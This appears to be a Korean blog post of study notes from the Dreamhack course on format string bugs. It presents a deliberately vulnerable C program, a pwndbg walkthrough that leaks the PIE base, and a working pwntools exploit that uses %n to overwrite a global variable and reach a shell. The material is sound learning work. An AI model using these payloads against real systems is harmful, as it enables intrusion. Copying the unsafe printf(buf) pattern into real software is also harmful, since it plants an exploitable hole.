Memory Corruption : Format String Bug
format string을 인자로 사용하는 함수 : scanf, fprintf, fscanf ... 등
=> 포맷 스트링을 채울 값들을 레지스터나 스택에서 가져옴
그러나, 필요로 하는 인자의 개수 & 함수로 전달된 인자의 개수를 비교하는 검증이 존재x
=> 악의적으로 다수의 인자요청 - 레지스터나 스택을 읽거나 쓸 수 o :: FSB (format string bug)
포맷 스트링
- specifier 형식 지정자
: d 10진수정수 / s 문자열 / x 부호없는 16진수 / n 현재까지 사용된 문자열의 길이를 저장 / p void형 포인터
-width 최소 너비 지정
: 최소 너비 지정 -> 더 짧으면 공백문자를 패딩
: 예 ) %.5f
#include <stdio.h>
int main() {
int num;
printf("%8d\n", 123); // " 123"
printf("%s\n", "Hello, world"); // "Hello, world"
printf("%x\n", 0xdeadbeef); // "deadbeef"
printf("%p\n", &num); // "0x7ffe6d1cb2c4"
printf("%s%n: hi\n", "Alice", &num); // "Alice: hi", num = 5
printf("%*s: hello\n", num, "Bob"); // " Bob: hello "
return 0;
}
- parameter
: 참조할 인자의 idx
: 예 ) printf("%2$d, %1$d\n",2,1); // 두번째 인자(1) 를 프린트, 1번째 인자(2)를 프린트
포맷 스트링 버그
포맷 스트링 함수의 잘못된 사용으로 발생하는 버그
: 사용자가 입력가능한 포맷스트링 -> 임의의 주소를 읽고 쓰기 가능
레지스터 및 스택 읽기
// Name: fsb_stack_read.c
// Compile: gcc -o fsb_stack_read fsb_stack_read.c
#include <stdio.h>
int main() {
char format[0x100];
printf("Format: ");
scanf("%[^\n]", format);
printf(format);
return 0;
}
format입력에 %p %p %p %p %p %p %p %p %p %p (10번) 입력
=> 10개의 인자를 필요로하는 포맷 스트링을 사용햇기에 레지스터와 스택에 존재하는 값이 출력
( 각각 rsi, rdx, rcx, r8, r9 [rsp], [rsp+8], [rsp+0x10], [rsp+0x18], [rsp+0x20])
임의 주소 읽기 및 쓰기
임의 주소 읽기
공격.py
- fstring = b"%7$s".ljust(8)
: 7번째 인자를 stack에서 가져와, .ljust(8)을 사용하여 문자열을 8바이트로 지정
- fstring += p64(addr_secret)
: addr_secret값을 64비트 리틀 엔디안으로 변환하여(기계) 문자열 포맷에 추가
임의 주소 쓰기
:secret 전역 변수의 값이 31337로 조작
Format String Bug
코드 분석 및 보호기법
- amd64 (64bit)
- RELRO, NX, PIE적용
- canary 미적용
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
// buf에서 직접 size만큼 read
void get_string(char *buf, size_t size) {
ssize_t i = read(0, buf, size);
// 오류
if (i == -1) {
perror("read");
exit(1);
}
//음수에 대한 검증 부족
if (i < size) {
if (i > 0 && buf[i - 1] == '\n') i--;
buf[i] = 0;
}
}
// 전역 변수 changeme
int changeme;
int main() {
char buf[0x20]; //0x20 (33바이트)
setbuf(stdout, NULL);
while (1) {
get_string(buf, 0x20);
printf(buf);
puts("");
if (changeme == 1337) {
system("/bin/sh");
}
}
}
시나리오
(목표) 전역변수 changeme를 1337로 변경하여 system함수 호출
1. chaneme 주소 구하기
: changeme를 조작하려면 일단 주소를 당연히 알아아지.
: PIE가 적용되었으므로 changeme주소는 실행 시마다 변경...
=> base 주소를 구하고 offset을 구해서 changeme 주소 겟
2. changeme 1337로 설정
get_string으로 changeme 의 주소를 stack에 저장
=> printf에서 %n으로 조작
Exploit
1. chaneme 주소 구하기
$disass main
$b* main+76 : printf함수가 호출되는 offset에 break
$r
=> get_string함수에서 입력 get
이때, rsp 값 get
$vmmap
: fsb_overwrite 바이너릭 매핑된 영역에 포함되는 주소 => 이 주소를 사용하면 PIE베이스 주소를 구할 수 있다.
[RSP-0X48] 과 PIE 베이스 주소 간의 offset
pwndbg> p/x 0x555555555293 - 0x555555554000
$1 = 0x1293
+
x64 환경에서 printf 함수는 RDI에 포맷 스트링을, RSI, RDX, RCX, R8, R9 그리고 스택에 포맷 스트링의 인자를 전달합니다.
예 ) printf("%d %d %d %d %d %d %d %d %d", 1, 2, 3, 4, 5, 6, 7, 8, 9);를 호출하면, 1, 2, 3, 4, 5, 6, 7, 8, 9는 각각 RSI, RDX, RCX, R8, R9, [RSP], [RSP+0x8], [RSP+0x10], [RSP+0x18]에 전달.
-> PIE 베이스 주소를 구할 주소를 가진 [RSP+0x48]은 포맷 스트링의 15번째 인자이므로, %15$p로 읽을 수 있다.
$readelf -s fsb_overwrite | grep changeme를 통해
전역 변수의 offset확인
=> pie 베이스 주소 + 위의 offset => changeme 주소
2. 1337길이의 문자열 출력
%n은 현재까지 출력된 문자열의 길이를 인자에 저장
=>해당 형식 지정자로 changeme 변수에 1,337을 쓰려면 1,337바이트 길이의 문자열을 먼저 출력
width 속성을 사용하여 출력의 최소 길이를 지정 (작으면 패딩 문자를 추가)
3. changeme 덮어쓰기
Exploit code
#!/usr/bin/env python3
# Name: get_changeme.py
from pwn import *
def slog(n, m): return success(': '.join([n, hex(m)]))
p = process('./fsb_overwrite')
elf = ELF('./fsb_overwrite')
# [1] Get Address of changeme
p.sendline(b'%15$p') # FSB
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + elf.symbols['changeme']
slog('code_base', code_base)
slog('changeme', changeme)
# [2] Overwrite changeme
payload = b'%1337c' # 1337을 min width로 하는 문자를 출력해 1337만큼 문자열이 사용되게 합니다.
payload += b'%8$n' # 현재까지 사용된 문자열의 길이를 8번째 인자(p64(changeme)) 주소에 작성합니다.
payload += b'A'*6 # 8의 배수를 위한 패딩입니다.
payload = payload + p64(changeme) # 페이로드 16바이트 뒤에 changeme 변수의 주소를 작성합니다.
p.sendline(payload)
p.interactive()
'System Hacking' 카테고리의 다른 글
Double Free Bug | dreamhack (1) | 2024.03.17 |
---|---|
Use After Free | dreamhack (1) | 2024.03.17 |
Out of bounds | dreamhack (0) | 2024.03.17 |
PIE & RELRO (2) | dreamhack (0) | 2024.03.17 |
PIE & RELRO(1) | dreamhack (0) | 2024.03.16 |